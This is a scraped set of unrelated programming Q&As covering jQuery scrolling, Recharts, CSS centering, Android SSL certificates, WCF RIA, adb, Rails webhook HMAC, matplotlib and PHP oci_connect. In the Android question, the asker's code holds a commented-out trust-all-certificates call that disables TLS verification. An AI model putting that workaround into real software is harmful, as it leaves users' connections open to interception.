    var $go_to_url = $go_to.split('#')[0];
    var $current_url = window.location.href.split('#')[0];
    var scroll_distance = jQuery('#'+param).offset().top;
    function cleanURL(url) {
            if(url.match(/http:\/\//))
            {
                url = url.substring(7);
            }
            if(url.match(/^www\./))
            {
                url = url.substring(4);
            }

            return url;
    }
    $go_to = cleanURL($go_to_url);
    $current_url = cleanURL($current_url);
    if(jQuery(this).closest('#menu').hasClass('render')) {
        if(param) {
            e.preventDefault();

            if(jQuery('#'+param).length > 0) {

                if(jQuery(window).width() > 767){
                    if(jQuery('.header').hasClass('sticky')){
                        scroll_distance = scroll_distance - jQuery('.header').outerHeight();
                    } else {
                        scroll_distance = scroll_distance;
                    }
                }

                if($go_to == $current_url) {

                    jQuery('html, body, document').stop().animate({scrollTop: scroll_distance }, 1000, 'easeOutQuart', function(){
                        window.location.hash = param;
                        jQuery('html, body, document').stop().animate({scrollTop: scroll_distance }, 0);
                    });
                }
                else {
                    window.location = $go_to_url+'#'+param;
                }
            } else {
                window.location = $go_to_url+'#'+param;
            }
        } else {
            window.location = $go_to_url;
        }
    }
});

Please help!  Basically, the menu should be able to click down to the proper section on a "one page" site.  But there are also sub pages for single blog posts.  On those single blog post pages, when the menu items are clicked, the error is thrown.  My belief is that it has something to do with there not being a param on the sub pages (nor a blank param) but rather a sub page url.  THoughts?

A: I'd suggest replacing this line:
var scroll_distance = jQuery('#'+param).offset().top;
With something like this:
var scroll_distance = jQuery('#'+param).length ? jQuery('#'+param).offset().top : 0;
If jQuery('#'+param) returns no object, then .offset() is undefined.
This way you can then test if scroll_distance was defined and only attempt your other actions when it is:
if (scroll_distance) {
  //your logic goes here
}


text:
Q: Creating graph with recharts with multiple data arrays Hello I am trying to create  something similar to the question React Recharts- getting data from different array names but I cannot display the data on the graph.
This is my data set:
[ {0: {t: "00:00", value: 0.000957},
   1: {t: "03:00", value: 0.000853},
   2: {t: "07:00", value: 0.004372},
   3: {t: "09:00", value: 0.001052},
   4: {t: "13:00", value: 0.001013},
   5: {t: "16:00", value: 0.000854},
   6: {t: "18:00", value: 0.000861},
   7: {t: "22:00", value: 0.004468}},
  {0:{t: "00:00", value: 0.000185},
   1: {t: "03:00", value: 0.00011},
   2: {t: "07:00", value: 0.000236},
   3: {t: "09:00", value: 0.003084},
   4: {t: "13:00", value: 0.000132},
   5: {t: "16:00", value: 0.000108},
   6: {t: "18:00", value: 0.000136},
   7: {t: "22:00", value: 0.000308}}
]

The code:
export interface Props  {
    data: any;
}

export class MyGraph extends PureComponent<Props>{
state={
    data: {}
};

componentDidUpdate(prevProps: Readonly<Props>, prevState: Readonly<{}>, snapshot?: any): void {
    this.setState({data: this.props.data})
};

draw = () => {
    let arrArea =[];
    let data = this.state.data;
    console.log(data);
    let values = Object.entries(data);
   let colorCodes = ["#17607D", "#F2D8A7", "#1FCECB", "#FF9311", "#003D5C", "#F27649", "#D5CDB6", "#008C74", "#30588C", "#263138"];
    values.map((x, i) => {
  arrArea.push(<Area type='monotone' dataKey="value" stroke={colorCodes[i]} fill={colorCodes[i]} data={x[1]}/>)
     });
    console.log(arrArea);
return arrArea;
};

render(){
    return(
        <ResponsiveContainer height='100%' width='100%'>
        <AreaChart  data={this.state.data}
                   margin={{top: 5, right: 30, left: 20, bottom: 5}}>
            <XAxis dataKey="t"/>
            <YAxis/>
            <CartesianGrid strokeDasharray="3 3"/>
            <Tooltip/>
            <Legend />
            {this.draw().map(x=> x)}
        </AreaChart>
        </ResponsiveContainer>
    )
}
}

The second printing statement shows that the Areas are created but the result is only:

A: For me it was the data set structure, Recharts was expecting structure like this for building the graphs of two values on the same dashboard. Like in the picture above there will be value and valueTwo in the legend not four value:
 [  {t: "00:00", value: 0.000957, valueTwo: 0.000185},
    {t: "03:00", value: 0.000853, valueTwo:  0.00011},
    {t: "07:00", value: 0.004372, valueTwo: 0.000236},
    {t: "09:00", value: 0.001052, valueTwo: 0.003084},
    {t: "13:00", value: 0.001013, valueTwo: 0.000132},
    {t: "16:00", value: 0.000854, valueTwo: 0.000108},
    {t: "18:00", value: 0.000861, valueTwo: 0.000136},
    {t: "22:00", value: 0.004468, valueTwo: 0.000308}
]

Basically, each time point which is a unique point on the graph and the values for it have to be a separate entry in the array.
I hope this helps :)


text:
Q: Vertically and Horizontally center a div with overflow hidden I am trying to vertically and horizontally center a div inside another div that has the overflow: hidden I have successfully been able to horizontally center it, but not vertically.
HTML

Alot of content

CSS
.outer {
    width: 100px;
    height: 100px;
    overflow: hidden;
    background: yellow;
}

.inner {
    display: inline-block;
    position: relative;
    bottom: -50%;
    right: -50%;
}

.content {
    position: relative;
    top: -50%;
    left: -50%;
    width: 500px;
    height: 500px;
}

FIDDLE
Why is my top: -50% being ignored, but my left: -50% is working as expected?

A: DEMO
Actually fiddle is not clear.
I don't know about horizontal center. So I added it. But if you don't want it skip it.
For vertically center, you may try this:
.outer {
    width: 100px;
    height: 100px;
    overflow: hidden;
    background: yellow;
}

.inner {
    display: inline-block;
    position: relative;
    text-align:center; //horizontal center
}

.content {
    position: relative;
    display: table-cell; //<-vertical center
    text-align: center; //<-vertical center
    width: 500px;
    height: 500px;
}

A: You can always center any element using following code without negative margin hack.
The content will automatically align center from top, bottom, left, right
HTML:

CSS:
.outer {
    width: 100px;
    height: 100px;
    overflow: hidden;
    background: yellow;
    position: relative;
}
.content {
    left: 0;
    right: 0;
    top: 0;
    bottom: 0;
    position: absolute;
    margin: auto;
}

A: Taken from this article, you can use a class like this as long as you have a declared height:
.Absolute-Center {
  margin: auto;
  position: absolute;
  top: 0; left: 0; bottom: 0; right: 0;
}

If you add that class to your outer div everything should work.

A: I was trying to avoid using translate3d to solve this for older IE support, but in the end couldn't figure out why my top: -50% didn't work. :(
Here is the CSS I ended up with.
.outer {
    position: relative;
    width: 100px;
    height: 100px;
    overflow: hidden;
    background: yellow;
}

.inner {
    position: absolute;
    top: 50%;
    left: 50%;
    -webkit-transform: translate3d(-50%, -50%, 0);
    transform: translate3d(-50%, -50%, 0);
}

.content {
    position: relative;
    top: 0;
    left: 0;
    width: 500px;
    height: 500px;
}

FIDDLE


text:
Q: Android install self signed Certificate SSL from device settings VS programmatically install I have followed this guide in generating self signed SSL certificate,
and I successfully made the .cer and .bks. However:
Is installing the .cer file using the device settings the same as installing the .bks file using CODE?
I'm having an issue where my phone browser accepts my website with no issues. However, when I run my app to query soap request from a service of same website/myservice.ASMX it gives  'Hostname was not verified' and if using trustmaster "accept all host and certificates" I get error 405
Code Accessing the website:
    SoapObject Request = new SoapObject(NAMESPACE, method);
    SoapSerializationEnvelope envelope = new SoapSerializationEnvelope(SoapEnvelope.VER11);
    envelope.dotNet = true;
    PropertyInfo password = new PropertyInfo();
    password.setName(ID);
    password.setValue(pass);
    password.setType(String.class);
    Request.addProperty(password);
    envelope.setOutputSoapObject(Request);
    HttpTransportSE androidHttpsTransport = new HttpTransportSE("https://"+MAIN_REQUEST_URL+":"+sPORT+SERVICELOCATION);
    makeFileOffline(androidHttpsTransport.getHost() +"\n"+ SERVICELOCATION,"AgriHTTP" );
     try {

        //FakeX509TrustManager.allowAllSSL();<< When enabled it gives 405

        androidHttpsTransport.call(NAMESPACE+method, envelope);

        SoapPrimitive resultsString = (SoapPrimitive) envelope.getResponse();

        String webServiceResult = resultsString.toString();

    } catch (IOException e) {

        Log.d(e.toString(),"LogCat" );
        e.printStackTrace();
    } catch (XmlPullParserException e) {

        e.printStackTrace();
    }

A: The certificate installed by Settings can be seen by the Android device itself and any apps Google, or the System made. But your app can not see the certificate, this is why you need to import or install it via code in your own app.


text:
Q: Enable WPFApplication access to existing WCF RIA Services I have a big (too big for me, about 50k line) Silverlight application, written by an ex-colleague. It is written really (really really) badly so I'm not going to change/touch almost nothing.
I'd like to easily enable access to his WCF RIA Services from a WFC command line app. There's almost 30 domain service class in the web part of SL app.
I installed the SL and WCF-RIA toolkits.
I've added those lines in the web.config but the compiler doesn't recognize the <domainServices>.
<domainServices>
  <endpoints>
    <add name="OData" type="System.ServiceModel.DomainServices.Hosting.ODataEndpointFactory, System.ServiceModel.DomainServices.Hosting.OData, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
    <add name="Soap" type="Microsoft.ServiceModel.DomainServices.Hosting.SoapXmlEndpointFactory, Microsoft.ServiceModel.DomainServices.Hosting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
  </endpoints>
</domainServices>

From the new command line app I can't see any services in my solution.
Any Idea of what I'm missing? Thanks

A: Maybe the problem rely on the way you try to add the service reference: auto discover don't work and you don't have an .svc file. You should use something like http://[hostname]/[namespacename]-[classname].svc but I recommend to have a look at these articles: http://blogs.msdn.com/b/saurabh/archive/2009/11/23/understanding-the-wcf-in-wcf-ria-services.aspx and
http://blogs.msdn.com/b/brada/archive/2009/11/22/ria-services-a-domainservice-is-a-wcf-service-add-service-reference.aspx
that give a detailed insghts


text:
Q: Want to install a build in one particular device when multiple devices are connected to ADB I have connected 2 devices to my laptop. In adb devices it is showing 2 devices (obviously). Now I want to install a build in one particular device. How to select one of them. Is there any command for that.

A: You can do that with an extra option to the adb command. First, use adb devices to get the device serial numbers. Let's call those serialA and serialB. Then you can use the -s SERIALNUMBER option to adb to tell it which device to talk to:
adb -s serialA shell ls
will give you a directory listing of the root of serialA's filesystem.
If you want to work with a device for an extended period, you can set the environment variable ANDROID_SERIAL to the device's serial number. Using the -s option overrides ANDROID_SERIAL.
However, if you're flashing a device, I'd recommend unplugging the one you don't want to flash. That's a good deal safer than trusting yourself not to make any typing errors.


text:
Q: Rails webhook authentication HMAC-SHA256 API client can optionally sign the callback events it sends to my webhook endpoint by including a signature in each event's HTTP header. I need to authenticate payload being sent to my webhook receiver endpoint by HMAC-SHA256.
The instructions are:
Your web application should verify the call-back is from NorthRow:

 1. Extract the signature value from the header
 2. Decode the value from base64 to a hex string
 3. Determine the expected signature by computing an HMAC with the
    HMAC-SHA256 hash function. Use the shared secret and the JSON
    payload from the call-back as the message (i.e. the request body).
 4. Compare the signature in the header to the expected signature.
 5. Respond with the appropriate HTTP status code

To meet all conditions I prepared below helper:
  def verify_webhook(data, hmac_header)
    digest = OpenSSL::Digest.new('sha256')
    calculated_hmac = Base64.encode64(OpenSSL::HMAC.digest(digest, SHARED_SECRET, data)).strip

    ActiveSupport::SecurityUtils.secure_compare(calculated_hmac, hmac_header)
  end

Does my implementation meet conditions 2 and 3? I don't think I decoded value from base64 to a hex string.
I can't compare my results with real callbacks signature (some legal issues) so I have to operate in the dark.


text:
Q: Matplotlib: stacked bars do not display if numpy.nan values are plotted This simple example of a Stacked Bar Graph from the matplotlib website demonstrates exactly what I'm trying to do. However, the data I'm using is dynamic and often contains zero values. However, when I plot zero values, they display on the graph as a small, thin line. Following the advice from some other posts, I replaced the zero values with numpy.nan values. However, this produced a new problem: the stacked bars do not display if one of the bars on that x-value is numpy.nan.
I'm using matplotlib with the Qt5Agg backend because I'm embedding matplotlib plots in my PyQt5 application. However, I don't think this has anything to do with the issue because it is reproducible in the following examples.
This is a simplified example from the website: (1) Stacked Bars with Non-NaN Data, and was produced from the following:
import numpy as np
import matplotlib
matplotlib.use('Qt5Agg')
import matplotlib.pyplot as plt

menMeans = (10, 35, 30, 35, 27)
womenMeans = (20, 32, 34, 20, 25)
ind = np.arange(5)
width = 0.35

p1 = plt.bar(ind, menMeans, width)
p2 = plt.bar(ind, womenMeans, width, bottom=menMeans)

plt.ylabel('Scores')
plt.title('Scores by group and gender')
plt.xticks(ind, ('G1', 'G2', 'G3', 'G4', 'G5'))
plt.yticks(np.arange(0, 81, 10))
plt.legend((p1[0], p2[0]), ('Men', 'Women'))
plt.axes().set_ylim(0, 80)

plt.show()

(2) This example is what I'm having problems with. It was produced by the following:
import numpy as np
import matplotlib
matplotlib.use('Qt5Agg')
import matplotlib.pyplot as plt

menMeans = (np.nan, 35, 30, 35, 27)                                  # NAN VALUE WAS ADDED
womenMeans = (20, 32, 34, 20, 25)
ind = np.arange(5)
width = 0.35

p1 = plt.bar(ind, menMeans, width)
p2 = plt.bar(ind, womenMeans, width, bottom=menMeans)

plt.ylabel('Scores')
plt.title('Scores by group and gender')
plt.xticks(ind, ('G1', 'G2', 'G3', 'G4', 'G5'))
plt.yticks(np.arange(0, 81, 10))
plt.legend((p1[0], p2[0]), ('Men', 'Women'))
plt.axes().set_ylim(0, 80)

plt.show()

The question: How does one deal with plotting zero-values/numpy.nan values on a stacked bar graph in matplotlib? The behavior I want is the following: zero-value bars should not be displayed, but should still allow the other bars on top of it to be displayed.
This is my first post. Apologies if I've made any mistakes. I've tried to follow the rules exactly.

A: use numpy's nan_to_num() to replace NaN by zeroes in your bottom= argument:
menMeans = (np.nan, 35, 30, 35, 27)                                  # NAN VALUE WAS ADDED
womenMeans = (20, 32, 34, 20, 25)
ind = np.arange(5)
width = 0.35

p1 = plt.bar(ind, menMeans, width)
p2 = plt.bar(ind, womenMeans, width, bottom=np.nan_to_num(menMeans))  # no more NaNs in bottom=

plt.ylabel('Scores')
plt.title('Scores by group and gender')
plt.xticks(ind, ('G1', 'G2', 'G3', 'G4', 'G5'))
plt.yticks(np.arange(0, 81, 10))
plt.legend((p1[0], p2[0]), ('Men', 'Women'))
plt.ylim((0,80))

plt.show()

PS: if you're using the pyplot approach (see difference between pyplot and object-oriented APIs), you should be calling plt.ylim(), instead of what you were doing


text:
Q: Why doesn't PHP's oci_connect return false? I have a situation in which we have two production databases that synchronize with one other.  Server One is considered the primary.  Sometimes due to maintenance or a disaster Server Two will become primary.
In some of our code that means we have to manually go in and edit the server name for database connections.  I find this annoying, so the last thing I wrote I put the server information for both and set up a loop.  If oci_connect failed on the Server One 3 times it would move on to Server Two.  If Server Two failed 3 times it would notify the user a connection couldn't be made.
This has worked fine most times we've had the situation of switching the servers.  Yesterday, for example, it worked fine.  Today it didn't.  It just sat and spun endlessly.  No error in the PHP error log.  No failure to move on from.  No error output to the screen.  Nothing for 5 minutes.
So then I had to manually edit the stupid config file.
I asked what could possibly be different and I was told "yesterday the database was down, but not the server.  today the server is down."  Okay...?  But I don't see a distinction.  I would expect oci_connect to return false if it can't establish any sort of communication with the server.  I'd expect it to timeout and error.  Not just pass it on when it receives an error code from the server.  What if there's a network problem, for example?
Is this a bug in oci_connect or is there a possibility that something in our PHP configuration gives oci_connect a crazily long timeout?
If it is a sort of "bug" is there some way I can check to see if the server is up first?  Like a ping?  (Of course when I did a ping through the command prompt I got a response from Server One and then was told, "it's back now" although I am skeptical about the timing on that.)
Anyway, if anyone could shed some light on why oci_connect might run endlessly without failing and how to keep it from doing so I'd be grateful.
--
Edit:
My code looks like the examples on PHP.net only in some loops.
 $count = count($servers);
 for($i = 0; $i < $count; $i++){
      if((!isset($connection)) || ($connection == false)){
           // Attempt to connect to the oracle database
           $connection = @oci_connect($servers[$i]["user"], $servers[$i]["pass"], $servers[$i]["conid"]) or ($conn_error = oracle_error());
           // Try again if there was a failure
           if(($connection == false) || (isset($con_error))){
                // Three (two more) tries per alternative
                for($j = $st; $j < $fn; $j++){
                     // Try again to connect
                     $connection = @oci_connect($servers[$i]["user"], $servers[$i]["pass"], $servers[$i]["conid"]) or ($conn_error = oracle_error());
                } // for($j = 2; $j < 4; $j++)
           } // if($connection == false)
      } // if(!isset($connection) || ($connection == false))
 } // for($i = 0; $i < $count; $i++)

A: Can you verify that it's not returning false?  Is it perhaps just blocking while waiting for a connection?  (what happens if you do var_dump(oci_connect(...))?
Right from php.net's documentation:

If you want to specify a connection
  timeout in case there is network
  problem, you can edit the client side
  (e.g. PHP side) sqlnet.ora file and
  set SQLNET.OUTBOUND_CONNECT_TIMEOUT.
  This sets the upper time limit for
  establishing a connection right
  through to the DB, including the time
  for attempts to connect to other
  services.   It is available from
  Oracle 10.2.0.3 onwards.
In Oracle 11.1, a slightly
  lighter-weight solution
  TCP.CONNECT_TIMEOUT was introduced.
  It also is a sqlnet.ora parameter.  It
  bounds just the TCP connection
  establishment time, which is mostly
  where connection problem are seen.
The client sqlnet.ora file should be
  put in the same directory as the
  tnsnames.ora file.

Also, you may want to check out FAN on this page...  It looks like it may do exactly what you want (but I have no experience with it, so I'm not sure if it's really right for you).